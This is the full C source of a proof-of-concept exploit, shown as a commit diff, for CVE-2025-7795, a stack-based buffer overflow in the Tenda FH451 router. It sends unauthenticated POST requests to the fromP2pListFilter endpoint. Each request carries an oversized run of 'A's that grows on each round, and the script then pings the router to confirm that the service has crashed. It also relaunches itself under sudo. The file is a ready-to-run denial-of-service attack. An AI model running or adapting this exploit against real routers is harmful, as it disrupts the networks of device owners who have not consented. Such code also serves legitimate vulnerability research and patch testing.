1+ /*
2+ * Title : Tenda FH451 1.0.0.9 Router - Stack-based Buffer Overflow
3+ * Author : Byte Reaper
4+ * Telegram : @ByteReaper0
5+ * CVE : CVE-2025-7795
6+ * Vulnerability : Buffer Overflow
7+ * Description :
8+ * A buffer overflow vulnerability affecting certain Tenda routers,
9+ * exploitable via an unauthenticated POST request to an unprotected endpoint, leading to service crash.
10+ */
11+
12+ #include <stdio.h>
13+ #include <string.h>
14+ #include <unistd.h>
15+ #include "argparse.h"
16+ #include <arpa/inet.h>
17+ #include <stdlib.h>
18+ #include <curl/curl.h>
19+ #include <sys/wait.h>
20+
21+ #define FULL_URL 2500
22+ #define POST_DATA 10000
23+
24+ const char * targetUrl = NULL ;
25+ const char * targetip = NULL ;
26+ int selectIp = 0 ;
27+ int selectUrl = 0 ;
28+ int verbose = 0 ;
29+ int showOne = 0 ;
30+ char postData [POST_DATA ];
31+
32+ struct Mem
33+ {
34+ char * buffer ;
35+ size_t len ;
36+ };
37+
38+ size_t write_cb (void * ptr , size_t size , size_t nmemb , void * userdata )
39+ {
40+ size_t total = size * nmemb ;
41+ struct Mem * m = (struct Mem * )userdata ;
42+ char * tmp = realloc (m -> buffer , m -> len + total + 1 );
43+ if (!tmp ) return 0 ;
44+ m -> buffer = tmp ;
45+ memcpy (& (m -> buffer [m -> len ]), ptr , total );
46+ m -> len += total ;
47+ m -> buffer [m -> len ] = '\0' ;
48+ return total ;
49+ }
50+
51+ void pingPacket ()
52+ {
53+ int pid = fork ();
54+ printf ("\n============================================== [Ping] ==============================================\n" );
55+ if (pid < 0 )
56+ {
57+ perror ("\e[1;31m[-] Fork Failed!\e[0m" );
58+ exit (1 );
59+ }
60+ if (pid == 0 )
61+ {
62+ printf ("\e[1;32m[+] Child Process (Ping) -> PID: %d\e[0m\n" ,
63+ getpid ());
64+ char * const argv [] = { "/bin/ping" ,
65+ "-c" ,
66+ "3" ,
67+ (char * )targetip ,
68+ NULL };
69+ char * const envp [] = { NULL };
70+ __asm__ volatile
71+ (
72+ "mov $59, %%rax\n\t"
73+ "mov %[prog], %%rdi\n\t"
74+ "mov %[argv], %%rsi\n\t"
75+ "mov %[envp], %%rdx\n\t"
76+ "syscall\n\t"
77+ "mov $60, %%rax\n\t"
78+ "xor %%rdi, %%rdi\n\t"
79+ "syscall\n\t"
80+ :
81+ : [prog ] "r" (argv [0 ]),
82+ [argv ] "r" (argv ),
83+ [envp ] "r" (envp )
84+ : "rax" , "rdi" , "rsi" , "rdx"
85+ );
86+ }
87+ else
88+ {
89+ printf ("\e[1;32m[+] Main PID : %d\e[0m\n" ,
90+ getpid ());
91+ int status ;
92+ waitpid (pid ,
93+ & status ,
94+ 0 );
95+ if (WIFEXITED (status ))
96+ {
97+ int code = WEXITSTATUS (status );
98+ printf ("\e[1;33m[+] Ping exited with code: %d\e[0m\n" ,
99+ code );
100+ if (code == 0 )
101+ {
102+ printf ("\e[1;31m[-] Successfully confirmed connection via ping!\e[0m\n" );
103+ printf ("\e[1;31m[-] The server is still working, please try again!\n\e[0m" );
104+ }
105+ else
106+ {
107+ printf ("\e[1;34m[+] The server is not responding to the ping request!\e[0m\n" );
108+ printf ("\e[1;34m[+] CVE-2025-7795: Vulnerability confirmed! Server is down.\e[0m\n" );
109+ }
110+ }
111+ }
112+ printf ("\n============================================================================================\e[0m\n" );
113+ }
114+
115+ void sendRequest ()
116+ {
117+ CURL * c = curl_easy_init ();
118+ CURLcode res ;
119+ char full [FULL_URL ];
120+ struct Mem response = {NULL , 0 };
121+ if (!c ) {
122+ printf ("\e[1;31m[-] Error Create Object Curl !\e[0m\n" );
123+ exit (EXIT_FAILURE );
124+ }
125+ if (targetip ) selectIp = 1 ;
126+ if (targetUrl ) selectUrl = 1 ;
127+ if (selectIp )
128+ {
129+ snprintf (full ,
130+ sizeof (full ),
131+ "http://%s/goform/fromP2pListFilter" ,
132+ targetip );
133+ }
134+ if (selectUrl )
135+ {
136+ snprintf (full ,
137+ sizeof (full ),
138+ "%s/goform/fromP2pListFilter" ,
139+ targetUrl );
140+ }
141+ int rounds = 5 ;
142+ int baseLen = 3500 , step = 1000 ;
143+ showOne = 1 ;
144+ for (int i = 0 ; i < rounds ; i ++ )
145+ {
146+ int len = baseLen + i * step ;
147+ if (len + 6 >= sizeof (postData )) break ;
148+ snprintf (postData , sizeof (postData ), "list=" );
149+ memset (postData + 5 , 'A' , len );
150+ postData [5 + len ] = '\0' ;
151+ printf ("\e[1;34m[%d] Iteration %d - Length: %d\e[0m\n" ,
152+ i + 1 ,
153+ i + 1 ,
154+ len );
155+ if (verbose )
156+ {
157+ printf ("\e[1;35m\n====================================================================[Post Data] ====================================================================\e[0m\n" );
158+ printf ("%s\e[0m\n\n" , postData );
159+ printf ("\e[1;35m====================================================================[Post Data] ====================================================================\e[0m\n" );
160+ }
161+
162+ curl_easy_reset (c );
163+ curl_easy_setopt (c ,
164+ CURLOPT_URL ,
165+ full );
166+ curl_easy_setopt (c ,
167+ CURLOPT_ACCEPT_ENCODING ,
168+ "" );
169+ curl_easy_setopt (c ,
170+ CURLOPT_FOLLOWLOCATION ,
171+ 1L );
172+ curl_easy_setopt (c ,
173+ CURLOPT_POST ,
174+ 1L );
175+ curl_easy_setopt (c ,
176+ CURLOPT_POSTFIELDS ,
177+ postData );
178+ curl_easy_setopt (c ,
179+ CURLOPT_POSTFIELDSIZE ,
180+ (long )strlen (postData ));
181+ curl_easy_setopt (c ,
182+ CURLOPT_WRITEFUNCTION ,
183+ write_cb );
184+ curl_easy_setopt (c ,
185+ CURLOPT_WRITEDATA ,
186+ & response );
187+ curl_easy_setopt (c ,
188+ CURLOPT_CONNECTTIMEOUT ,
189+ 5L );
190+ curl_easy_setopt (c ,
191+ CURLOPT_TIMEOUT ,
192+ 10L );
193+ curl_easy_setopt (c ,
194+ CURLOPT_SSL_VERIFYPEER ,
195+ 0L );
196+ curl_easy_setopt (c ,
197+ CURLOPT_SSL_VERIFYHOST ,
198+ 0L );
199+ struct curl_slist * h = NULL ;
200+ h = curl_slist_append (h ,
201+ "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8" );
202+ h = curl_slist_append (h ,
203+ "Accept-Encoding: gzip, deflate, br" );
204+ h = curl_slist_append (h ,
205+ "Accept-Language: en-US,en;q=0.5" );
206+ h = curl_slist_append (h ,
207+ "Connection: keep-alive" );
208+ h = curl_slist_append (h ,
209+ "Referer: http://example.com" );
210+ h = curl_slist_append (h ,
211+ "Cache-Control: no-cache" );
212+ h = curl_slist_append (h ,
213+ "Pragma: no-cache" );
214+ curl_easy_setopt (c , CURLOPT_HTTPHEADER , h );
215+ if (verbose ) curl_easy_setopt (c , CURLOPT_VERBOSE , 1L );
216+
217+ char * encode1 = curl_easy_escape (c , full , 0 );
218+ if (!encode1 )
219+ {
220+ printf ("\e[1;31m[-] URL encoding failed for payload\e[0m\n" );
221+ exit (EXIT_FAILURE );
222+ }
223+ if (verbose && showOne )
224+ {
225+ printf ("\e[1;37m=========================================" );
226+ if (selectUrl ) printf ("\e[1;37m[+] Input Url : %s\e[0m\n[+] Encode Url : %s\e[0m\n[+] full format Url : %s\e[0m\n" ,
227+ targetUrl ,
228+ encode1 ,
229+ full );
230+ if (selectIp ) printf ("\e[1;37m[+] Input Ip : %s\e[0m\n[+] full format Url : %s\e[0m\n" ,
231+ targetip ,
232+ full );
233+ printf ("=========================================" );
234+ showOne = 0 ;
235+ }
236+ res = curl_easy_perform (c );
237+ curl_slist_free_all (h );
238+ curl_free (encode1 );
239+ if (response .buffer )
240+ {
241+ free (response .buffer );
242+ response .buffer = NULL ;
243+ response .len = 0 ;
244+ }
245+ if (res == CURLE_OK )
246+ {
247+ long httpCode = 0 ;
248+ printf ("\e[1;36m[+] Request sent successfully\e[0m\n" );
249+ curl_easy_getinfo (c , CURLINFO_RESPONSE_CODE ,
250+ & httpCode );
251+ printf ("\e[1;32m[+] Http Code Response : %ld\e[0m\n" ,
252+ httpCode );
253+ if (httpCode >= 200 && httpCode < 300 )
254+ {
255+ printf ("\e[1;31m[-] The server was not affected, still working !\n" );
256+ printf ("\e[1;33m-------------------------------- Response Server --------------------------------\e[0m\n" );
257+ printf ("%s\e[0m\n" ,
258+ response .buffer );
259+ printf ("\e[1;33m-----------------------------------------------------------------------------------\e[0m\n" );
260+ }
261+ else
262+ {
263+ printf ("\e[1;34m[+] Negative server response. I started trying to confirm the connection...\e[0m\n" );
264+ printf ("[+] Run Command Ping For Check Connection : \e[0m\n" );
265+ if (selectIp ) pingPacket ();
266+ else printf ("[-] Error Run Command Ping for URl !\e[0m\n[-] Please Enter Target Ip for Check Connection !\e[0m\n" );
267+ }
268+ }
269+ else
270+ {
271+ printf ("[-] Error Send Request, Please Check Your Connection !\e[0m\n" );
272+ printf ("[-] Error : %s\n" , curl_easy_strerror (res ));
273+ }
274+ }
275+ free (response .buffer );
276+ curl_easy_cleanup (c );
277+ }
278+
279+ int main (int argc ,
280+ const char * * argv )
281+ {
282+ printf (
283+ "\e[1;31m"
284+ "▄▖▖▖▄▖ ▄▖▄▖▄▖▄▖ ▄▖▄▖▄▖▄▖ \n"
285+ "▌ ▌▌▙▖▄▖▄▌▛▌▄▌▙▖▄▖ ▌ ▌▙▌▙▖ \n"
286+ "▙▖▚▘▙▖ ▙▖█▌▙▖▄▌ ▌ ▌▄▌▄▌ \n"
287+ " \e[1;37mByte Reaper\e[0m\n"
288+ );
289+ printf ("\e[1;37m---------------------------------------------------------------------------------------------------------------------------------\e[0m\n" );
290+ if (getuid () != 0 )
291+ {
292+ printf ("===================================================\e[0m\n" );
293+ printf ("[-] Not running as root. Trying with sudo...\e[0m\n" );
294+
295+ char * args [] = {(char * )"sudo" ,
296+ (char * )"./exploit" ,
297+ NULL };
298+ execvp ("sudo" , args );
299+
300+ perror ("[-] Error Run Exploit in Root !" );
301+ __asm__ volatile
302+ (
303+ "mov $0x3C, %%rax\n\t"
304+ "xor %%rdi, %%rdi\n\t"
305+ "syscall\n\t"
306+ :
307+ :
308+ : "rdi"
309+ );
310+ }
311+ printf ("\e[1;36m[+] Running as root! Exploit continues...\e[0m\n" );
312+ printf ("===================================================\e[0m\n" );
313+
314+ struct argparse_option options [] =
315+ {
316+ OPT_HELP (),
317+ OPT_STRING ('i' ,
318+ "ip" ,
319+ & targetip ,
320+ "Enter Target IP" ),
321+ OPT_STRING ('u' ,
322+ "url" ,
323+ & targetUrl ,
324+ "Enter Target URL" ),
325+ OPT_BOOLEAN ('v' ,
326+ "verbose" ,
327+ & verbose ,
328+ "Verbose Mode" ),
329+ OPT_END (),
330+ };
331+
332+ struct argparse argparse ;
333+ argparse_init (& argparse ,
334+ options ,
335+ NULL ,
336+ 0 );
337+ argparse_parse (& argparse ,
338+ argc ,
339+ argv );
340+
341+ if (!targetip && !targetUrl )
342+ {
343+ printf ("\e[1;33m[-] Please Enter Target IP OR URl !\e[0m\n" );
344+ printf ("\e[1;33m[!] Exemple : ./exploit -u http://ROUTER_IP\e[0m\n" );
345+ printf ("[+] OR \n" );
346+ printf ("\e[1;33m[!] Exemple : ./exploit -i ROUTER_IP\e[0m\n" );
347+ __asm__ volatile (
348+ "xor %%rdi, %%rdi\n\t"
349+ "mov $0x3C, %%rax\n\t"
350+ "1:\n\t"
351+ "syscall\n\t"
352+ :
353+ :
354+ : "rax" , "rdi" , "rsi"
355+ );
356+ }
357+ if (targetip && targetUrl )
358+ {
359+ printf ("[+] Please Enter Traget URL OR Traget Ip address, Exit...\e[0m\n" );
360+ __asm__ volatile
361+ (
362+ "mov $0x3C, %%rax\n\t"
363+ "xor %%rdi, %%rdi\n\t"
364+ "syscall\n\t"
365+ :
366+ :
367+ :"rdi"
368+ );
369+ }
370+ if (selectIp )
371+ {
372+ sendRequest ();
373+ }
374+ else
375+ {
376+ sendRequest ();
377+ }
378+
379+
380+ return 0 ;
381+ }
0 commit comments